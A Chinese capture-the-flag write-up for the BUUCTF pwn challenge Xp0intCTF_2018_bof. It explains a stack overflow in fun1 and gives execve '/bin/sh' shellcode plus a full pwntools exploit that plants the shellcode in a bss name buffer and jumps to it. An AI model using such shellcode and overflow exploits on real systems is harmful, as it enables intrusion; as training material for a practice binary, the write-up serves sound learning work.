BUUCTF pwn Xp0intCTF_2018_bof

查看程序保护
在这里插入图片描述
保护基本都没开

IDA打开查看程序流程
在这里插入图片描述
读入0x18个字符,NAME位置在bss段
在这里插入图片描述
然后程序进入到fun1函数,有明显的栈溢出漏洞,溢出长度为0x10,正好可以控制返回地址
在这里插入图片描述
主要思想:基本保护都没开,那么可以先在NAME处读入shellcode。后面进入到fun1函数里,利用栈溢出控制程序返回到NAME处

这里shellcode长度最多为0x18
那么可以用

shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

完整ex

from pwn import *
context(log_level='debug',arch='amd64')

#io=process("./Xp0intCTF_2018_bof")
io=remote("node3.buuoj.cn",25451)

io.recv()

shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
io.send(shellcode)

io.recv()

name_bss=0x404070

payload=b'A'*0x20+b'B'*0x8+p64(name_bss)

io.send(payload)

io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值